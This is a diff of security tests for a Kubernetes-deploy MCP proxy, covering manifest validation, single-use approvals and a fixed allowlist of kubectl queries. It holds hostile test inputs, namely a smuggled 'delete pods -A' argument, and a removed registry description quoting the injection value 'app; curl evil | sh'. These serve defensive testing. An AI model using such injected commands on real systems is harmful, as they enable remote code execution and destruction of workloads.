+    (r) => { r[1].spec.template.spec.containers[0].command = ['sh']; },
+    (r) => { r[1].spec.template.spec.containers[0].image = 'docker.io/library/busybox@sha256:' + 'f'.repeat(64); },
+    (r) => { r[2].spec.type = 'LoadBalancer'; },
+    (r) => { r[0].metadata.namespace = 'default'; },
+    (r) => { r.push({ apiVersion: 'v1', kind: 'Secret', metadata: { name: 's', namespace: 'snake-pilot' } }); },
+  ];
+  for (const mutate of mutations) {
+    const r = docs(); mutate(r);
+    assert.throws(() => validateManifest(serialize(r), 'snake-pilot'));
+  }
+});
+
+test('digest, project, expiry and single-use approval bind the exact manifest', () => {
+  assert.throws(() => issueK8sApproval(clusterId, 'snake-pilot', manifestFile, '0'.repeat(64), env), /digest differs/);
+  const a = issueK8sApproval(clusterId, 'snake-pilot', manifestFile, digest, env, 1000);
+  assert.equal(a.manifestSha256, digest);
+  const used = consumeK8sApproval(a.approvalId, env, 1100);
+  assert.equal(used.manifest, manifest);
+  assert.equal(k8sSession(a.approvalId, env, 1200).namespace, 'snake-pilot');
+  assert.throws(() => consumeK8sApproval(a.approvalId, env, 1200));
+  const b = issueK8sApproval(clusterId, 'snake-pilot', manifestFile, digest, env, 2000);
+  const otherCredentials = path.join(scratch, 'other.json');
+  fs.writeFileSync(otherCredentials, JSON.stringify({ key_id: 'test-other', secret: 'test-other', project_id: 'ffffffff-eeee-4ddd-8ccc-bbbbbbbbbbbb' }), { mode: 0o600 });
+  assert.throws(() => consumeK8sApproval(b.approvalId, { ...env, CLOUDRU_HUB_CREDENTIALS: otherCredentials }, 2100), /does not match/);
+  assert.throws(() => consumeK8sApproval(b.approvalId, env, 2000 + 10 * 60_000));
+});
+
+test('MCP proxy forwards only locally approved apply and four fixed verification queries', () => {
+  const a = issueK8sApproval(clusterId, 'snake-pilot', manifestFile, digest, env);
+  const engine = path.join(scratch, 'fake-engine');
+  const log = path.join(scratch, 'forwarded.jsonl');
+  fs.writeFileSync(engine, `#!/usr/bin/env node
+const fs=require('fs');let b='';process.stdin.setEncoding('utf8');process.stdin.on('data',x=>{b+=x;let i;while((i=b.indexOf('\\n'))>=0){const line=b.slice(0,i);b=b.slice(i+1);if(!line)continue;const m=JSON.parse(line);fs.appendFileSync(process.env.FAKE_LOG,JSON.stringify(m)+'\\n');if(!Object.hasOwn(m,'id'))continue;let result={};if(m.method==='tools/list')result={tools:[{name:'k8s_apply'},{name:'k8s_kubectl'},{name:'k8s_create'}]};else result={content:[{type:'text',text:'{"status":"applied"}'}]};process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:m.id,result})+'\\n');}});
+`);
+  fs.chmodSync(engine, 0o755);
+  const script = `const {runSafeMcp}=require(${JSON.stringify(path.resolve(import.meta.dirname, '../src/safe-mcp.js'))});runSafeMcp({toolsets:'k8s-deploy',resolved:{path:${JSON.stringify(engine)},verified:true,sha256:${JSON.stringify(cls.engineSha256)}}});`;
+  const msg = (id, name, args) => JSON.stringify({ jsonrpc: '2.0', id, method: 'tools/call', params: { name, arguments: args } });
+  const lines = [
+    JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/list' }),
+    msg(2, 'k8s_apply', { approval_id: a.approvalId, cluster_id: 'wrong', confirmed: true }),
+    msg(3, 'k8s_apply', { approval_id: a.approvalId }),
+    msg(4, 'k8s_apply', { approval_id: a.approvalId }),
+    msg(5, 'k8s_kubectl', { approval_id: a.approvalId, query: 'delete' }),
+    msg(6, 'k8s_kubectl', { approval_id: a.approvalId, query: 'pods', args: 'delete pods -A' }),
+    msg(7, 'k8s_kubectl', { approval_id: a.approvalId, query: 'pods' }),
+    msg(8, 'k8s_kubectl', { approval_id: a.approvalId, query: 'deployment' }),
+    msg(9, 'k8s_kubectl', { approval_id: a.approvalId, query: 'service' }),
+    msg(10, 'k8s_kubectl', { approval_id: a.approvalId, query: 'rollout' }),
+    msg(11, 'k8s_create', { confirmed: true }),
+    msg(12, 'k8s_apply', { approval_id: a.approvalId, create_only: false }),
+  ];
+  fs.writeFileSync(log, '');
+  const r = spawnSync(process.execPath, ['-e', script], { input: lines.join('\n') + '\n', encoding: 'utf8', timeout: 5000,
+    env: { ...env, FAKE_LOG: log } });
+  assert.equal(r.status, 0, r.stderr);
+  const responses = r.stdout.trim().split('\n').map(JSON.parse);
+  const byId = Object.fromEntries(responses.map((x) => [x.id, x]));
+  assert.deepEqual(byId[1].result.tools.map((x) => x.name), ['k8s_apply', 'k8s_kubectl']);
+  assert.deepEqual(Object.keys(byId[1].result.tools[0].inputSchema.properties), ['approval_id']);
+  for (const id of [2, 4, 5, 6, 11, 12]) assert.ok(byId[id].error, `request ${id} rejected`);
+  const forwarded = fs.readFileSync(log, 'utf8').trim().split('\n').map(JSON.parse).filter((x) => x.method === 'tools/call');
+  assert.deepEqual(forwarded.map((x) => x.params.name), ['k8s_apply', 'k8s_kubectl', 'k8s_kubectl', 'k8s_kubectl', 'k8s_kubectl']);
+  assert.deepEqual(forwarded[0].params.arguments, { cluster_id: clusterId, namespace: 'snake-pilot', manifest, create_only: true, confirmed: true });
+  assert.deepEqual(forwarded[1].params.arguments, { cluster_id: clusterId, args: '-n snake-pilot get pods -l app=snake-game -o json' });
+  assert.deepEqual(forwarded[2].params.arguments, { cluster_id: clusterId, args: '-n snake-pilot get deployment snake-game -o json' });
+  assert.deepEqual(forwarded[3].params.arguments, { cluster_id: clusterId, args: '-n snake-pilot get service snake-game -o json' });
+  assert.deepEqual(forwarded[4].params.arguments, { cluster_id: clusterId, args: '-n snake-pilot rollout status deployment/snake-game --timeout=90s' });
+});

package/test/mutation-registry.json

@@ -74,18 +74,18 @@
       "minFailing": 1
     },
     {
-      "id": "brake-stack-status-stays-ask",
-      "property": "stack_status ADVANCES a planned/running stack job server-side (handleStackStatus tools_stack.go:451 → advance :479-484 → s.callTool :220 invokes provision/pg_create/… — LIVE-REPRODUCED: one call moved a planned job planned→running and attempted provision, stopped only at AUTH_REQUIRED). Flipping it back to allow re-opens the zero-prompt paid chain stack_plan→stack_status and must go red (ADR-004 AM-1, cross-model QE HIGH).",
+      "id": "stack-status-remains-observational",
+      "property": "After the engine fix, stack_status reads persisted job state without advancing steps; stack_apply remains the explicitly gated mutation. Reclassifying status as ask loses the read-only contract and must fail the golden test.",
       "file": "data/tools-classification.json",
       "mutation": {
-        "find": "\"stack_status\": {\n      \"effect\": \"mutating\",\n      \"permission\": \"ask\",",
-        "replace": "\"stack_status\": {\n      \"effect\": \"mutating\",\n      \"permission\": \"allow\","
+        "find": "\"stack_status\": {\n      \"effect\": \"read-only\",\n      \"permission\": \"allow\",",
+        "replace": "\"stack_status\": {\n      \"effect\": \"read-only\",\n      \"permission\": \"ask\","
       },
-      "minFailing": 2
+      "minFailing": 1
     },
     {
       "id": "brake-logs-stays-ask",
-      "property": "logs concatenates its user-controlled `service` arg RAW into a remote `docker compose logs <service>` executed over SSH (handleLogs tools.go:1758 → engine/logs.go:61 `cmd += \" \" + opts.Service` → Deployer.Exec logs.go:64 → session.CombinedOutput internal/deploy/ssh.go:117), so service=\"app; curl evil | sh\" is arbitrary RCE on the user's VM. Flipping it back to allow puts a zero-prompt command-injection path behind a SILENT allow and must go red (ADR-004 AM-2, shell-reach hazard axis, cross-model QE HIGH).",
+      "property": "The pinned engine quotes logs.service before remote execution, but logs still reaches SSH/compose and can disclose sensitive output. Flipping its classification from ask to allow violates the reviewed shell-reach boundary.",
       "file": "data/tools-classification.json",
       "mutation": {
         "find": "\"logs\": {\n      \"effect\": \"shell-reach\",\n      \"permission\": \"ask\",",